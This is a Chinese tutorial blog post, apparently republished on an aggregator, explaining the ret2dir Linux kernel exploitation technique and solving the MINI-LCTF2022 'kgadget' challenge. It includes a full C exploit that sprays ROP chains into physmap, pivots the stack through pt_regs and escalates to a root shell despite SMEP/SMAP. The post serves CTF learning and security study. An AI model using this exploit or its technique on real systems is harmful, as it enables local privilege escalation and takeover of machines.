当前位置: 首页 > news >正文

kernel pwn 入门(四) ret2dir详细

介绍

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段
原论文见此处: ret2dir原文论文

参考:kernel pwn入门到大神
ret2dir

ret2dir原理

在开启了smep/smap后,内核空间到用户空间的直接访问被禁止,也就是传统的ret2usr失效了,如下图(图片来源于论文)。
在这里插入图片描述
为饶过这种限制,原文作者找到了一段区域,可以隐式的访问到用户空间数据。在内核空间就能访问到用户空间的数据,该区域也被称为phsymap,是很大一段的虚拟内存,映射了整个物理内存
这片区域叫做:direct mapping of all physical memory
在这里插入图片描述

这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。

在这里插入图片描述
下图就是在论文中对ret2dir这种攻击的示例图,不和ret2usr一样,指针不是指向用户空间,而是指向直接映射区域,在用户空间构造的payload也会映射到物理地址,所以只要在phsymap区域找到用户空间的payload就能执行。在高版本内核中 direct mapping area没有可执行权限需要通过ROP利用

在这里插入图片描述
因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload

  1. 通过读取/proc/pid/pagemap可获取映射地址,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取.
  2. 利用堆喷技术phsymap区域填充大量payload,提高命中概率。

在这里插入图片描述

ret2dir手法总结:

  • 利用mmap或者堆喷技术在用户空间喷射大量相同的payload
  • 随机挑选direct mapping area上的地址,大概率命中写入的payload

pt_regs

系统调用:用户态布置好相应的参数后执行 syscall 进入到内核中的 entry_SYSCALL_64,随后通过系统调用表跳转到对应的函数

entry_SYSCALL_64 :当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底.

entry_SYSCALL_64定义在arch/x86/entry/entry_64.S

在这里插入图片描述
pt_regs定义在arch/x86/include/asm/ptrace.h

struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15;unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};

内核栈只有一个页面的大小,而pt_regs固定在内核栈底部,当可以劫持到rip的时候,需要通过rop来控制rsp可以使用到pt_regs来构造ROP。

注意:

  • 在内核版本 5.13 之前 pt_regs 结构体栈顶的偏移值基本是固定的(因为内核栈只有一个 page),通常可以借助 add rsp, val ; ret 的 gadget 劫持一处函数指针就能实现进一步 ROP 利用。

  • 但是,在 5.13 及之后do_syscall_64 函数入口处,新增了一行
    add_random_kstack_offset();来源于 2021 年 的一个 commit,效果是在栈底的 pt_regs
    之上放了一个不超过 0x3FF 的偏移,使得利用的稳定性大幅下降。

模板:

__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;"        // 这里假定通过 seq_operations->stat 来触发"syscall"
);

系统调用在内核栈的底部会被压入形成pt_regs结构体,如果这个时候控制了rip,使用add rsp,0xn;ret;配合pt_regs完成ROP
在这里插入图片描述

MINI-LCTF2022 - kgadget

先看run.sh

在这里插入图片描述
开了smep/smap 但是没开Kaslr

kgadget_ioctl(漏洞点)

在这里插入图片描述
当我们输入的操作码为0x1BF52时,会将rdx寄存器中的进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行

利用

程序很简单,就是传入数据(rdx),然后再做了清除pt_regs操作之后,call [rdx](call rbx),这里pt_regs没清理完全还有r8 r9 残留可以使用

但是开了smep/smap,直接在内核态执行用户代码会报错没开kaslr,现在只能控制rip,可以利用pt_regs手法劫持rsp跳到direct区域,然后使用mmapphsymap喷射大量提权payload,然后利用direct地址映射访问payload然后返回用户态getshell

这里先给出exp然后一步步调试

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t ret = 0xffffffff810001fc;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_ = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;size_t target;
int fd;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void copy_dir(){size_t *payload;size_t idx = 0;payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);for(int i =0;i<(4096-0xc0-0x58)/8;i++){payload[idx++] = add_rsp_;}for(int j = 0;j<0xc0/8;j++){payload[idx++] = ret;}payload[idx++] = pop_rdi_ret;payload[idx++] = init_cred;payload[idx++] = commit_creds;payload[idx++] = swapgs_restore_regs_and_return_to_usermode;payload[idx++] = 0;payload[idx++] = 0;payload[idx++] = (size_t)get_shell;payload[idx++] = user_cs;payload[idx++] = user_rflags;payload[idx++] = user_sp;payload[idx++] = user_ss;
}int main(){save_status();fd = open("/dev/kgadget",O_RDWR);for(int i =0;i<0x4000;i++){copy_dir();}target = 0xFFFF888000000000 + 0x6000000;__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    pop_rsp_ret;""mov r8,    target;""mov rcx,   0xaaaaaaaa;""mov rdx,   target;"  "mov rsi,   0x1bf52;""mov rdi,   fd;"   "mov rax,   0x10;""syscall");return 0;
}

先在调用ioctl后要执行call rbx前下断点:

b *0xffffffffc0002000+0x160

在这里插入图片描述
在这里插入图片描述
然后查看栈的数据:

在这里插入图片描述
可以看到pt_regs已经被压入栈,并且我们的r8,r9寄存器还是我们想要的值。
后续利用pt_regs控制rsp到直接映射区。
先看看映射区的内容吧:
在这里插入图片描述

可以看到phsymap区域的值通过映射已经填上了我们用户空间的payload
然后si继续执行,通过call rbx成功执行我们的小部分payload
在这里插入图片描述
因为这时 rsp并不在phsymap区域上,如果我们没有改变r8 r9寄存器的值,当我们执行完 pop rbp; ret后就不能执行phsymap区域上后面的代码了,而是ret到其它地方。
但我们这里把r9改成了pop rsp的地址r8是我们要跳到的phsymap地址,通过栈迁移,把rsp改到我们的phsymap区域,如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到我们把栈都迁移到我们的phsymap区域了,然后依次执行我们的ROP

在这里插入图片描述

补充:

利用extract-vmlinux ./bzImage > ./vmlinux 提取vmlinux时提取不了
可以用vmlinux-to-elf这个工具

vmlinux-to-elf ./bzImage vmlinux

如同之前内核ROP,我们同样需要找到swapgs、iretq等语句,但是在本题当中并未寻找到满足的gadget,但是我们将vmlinux拖入IDA进行分析可以获知出题人在内核种提供了一个函数名叫swapgs_restoer_regs_and_return_to_usermode,如下:

.text:FFFFFFFF81C00FB0                               public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81C00FB0                               swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81C00FB0                                                                       ; CODE XREF: ret_from_fork+15↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+54↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+65↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+74↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+87↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+94↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+A3↑j
.text:FFFFFFFF81C00FB0                                                                       ; error_return+E↓j
.text:FFFFFFFF81C00FB0                                                                       ; asm_exc_nmi+93↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSENTER_compat_after_hwframe+4F↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_compat_after_hwframe+47↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_INT80_compat+85↓j
.text:FFFFFFFF81C00FB0                                                                       ; DATA XREF: print_graph_irq+D↑o
.text:FFFFFFFF81C00FB0                                                                       ; print_graph_entry+59↑o
.text:FFFFFFFF81C00FB0 90                            nop                                     ; Alternative name is '__irqentry_text_end'
.text:FFFFFFFF81C00FB1 90                            nop
.text:FFFFFFFF81C00FB2 90                            nop
.text:FFFFFFFF81C00FB3 90                            nop
.text:FFFFFFFF81C00FB4 90                            nop
.text:FFFFFFFF81C00FB5 41 5F                         pop     r15
.text:FFFFFFFF81C00FB7 41 5E                         pop     r14
.text:FFFFFFFF81C00FB9 41 5D                         pop     r13
.text:FFFFFFFF81C00FBB 41 5C                         pop     r12
.text:FFFFFFFF81C00FBD 5D                            pop     rbp
.text:FFFFFFFF81C00FBE 5B                            pop     rbx
.text:FFFFFFFF81C00FBF 41 5B                         pop     r11
.text:FFFFFFFF81C00FC1 41 5A                         pop     r10
.text:FFFFFFFF81C00FC3 41 59                         pop     r9
.text:FFFFFFFF81C00FC5 41 58                         pop     r8
.text:FFFFFFFF81C00FC7 58                            pop     rax
.text:FFFFFFFF81C00FC8 59                            pop     rcx
.text:FFFFFFFF81C00FC9 5A                            pop     rdx
.text:FFFFFFFF81C00FCA 5E                            pop     rsi                             ;直到这里可以发现咱们是在主动恢复一些当时中断保存的pt_regs寄存器组
.text:FFFFFFFF81C00FCB 48 89 E7                      mov     rdi, rsp                        ;我们可以跳过这些寄存器直接开整
.text:FFFFFFFF81C00FCE 65 48 8B 24 25 04 60 00 00    mov     rsp, gs:qword_6004
.text:FFFFFFFF81C00FD7 FF 77 30                      push    qword ptr [rdi+30h]
.text:FFFFFFFF81C00FDA FF 77 28                      push    qword ptr [rdi+28h]
.text:FFFFFFFF81C00FDD FF 77 20                      push    qword ptr [rdi+20h]
.text:FFFFFFFF81C00FE0 FF 77 18                      push    qword ptr [rdi+18h]
.text:FFFFFFFF81C00FE3 FF 77 10                      push    qword ptr [rdi+10h]
.text:FFFFFFFF81C00FE6 FF 37                         push    qword ptr [rdi]
.text:FFFFFFFF81C00FE8 50                            push    rax
.text:FFFFFFFF81C00FE9 EB 43                         jmp     short loc_FFFFFFFF81C0102E
...........
.text:FFFFFFFF81C0102E                               loc_FFFFFFFF81C0102E:                   ; CODE XREF: swapgs_restore_regs_and_return_to_usermode+39↑j
.text:FFFFFFFF81C0102E 58                            pop     rax                             ;这里pop了两个值,所以需要在ROP种填充
.text:FFFFFFFF81C0102F 5F                            pop     rdi
.text:FFFFFFFF81C01030 0F 01 F8                      swapgs
.text:FFFFFFFF81C01033 FF 25 47 8D E4 00             jmp     cs:off_FFFFFFFF82A49D80     ;iretq   

从这个名字也可以看出他是为了在中断例程结束后从内核态返回用户态时所调用的函数,他首先会pop大量的寄存器来还原当时的环境,这里我们并不需要,所以我们需要的开始执行的地址就从0xFFFFFFFF81C00FCB进行咱们的利用,从这力同样可以返回用户态,因此这就是我们所需要的。

http://www.lryc.cn/news/619651.html

相关文章:

  • 《嵌入式Linux应用编程():Linux Framebuffer图形编程》
  • Win11和Mac设置环境变量
  • 机器学习阶段性总结:对深度学习本质的回顾 20250813
  • Html5-canvas动态渐变背景
  • mac 安卓模拟器 blueStacks
  • MacOS字体看起来比在 Windows 上更好?
  • 367. 有效的完全平方数
  • Spring Boot + MyBatis
  • Python 元类基础:从理解到应用的深度解析
  • [CSCCTF 2019 Qual]FlaskLight
  • [AI React Web] 包与依赖管理 | `axios`库 | `framer-motion`库
  • Spring cloud集成ElastictJob分布式定时任务完整攻略(含snakeyaml报错处理方法)
  • 使用TexLive与VScode排版论文
  • 从0开始配置conda环境并在PyCharm中使用
  • Node.js浏览器引擎+Python大脑的智能爬虫系统
  • 低成本扩展方案:S7-200SMART作为S7-1500分布式IO从站的上位机配置指南
  • Linux网络性能调优终极指南:深度解析与实践
  • 初识c语言————排序方法
  • 【新手入门】Android Studio 项目结构拆解,快速理解文件作用!
  • 【Linux】常用命令(三)
  • 数据结构:用数组实现队列(Implementing Queue Using Array)
  • Python实现点云概率ICP(GICP)配准——精配准
  • 8.13打卡 DAY 41 简单CNN
  • 多模态RAG赛题实战之策略优化--Datawhale AI夏令营
  • 桌面运维如何深造
  • MySQL表约束
  • Spring Boot项目中线程池的全面教程
  • 中高级餐饮服务食品安全员考试核心知识点汇总
  • Spring Boot初级概念及自动配置原理
  • Spring Boot 3 连接池最大连接数设置建议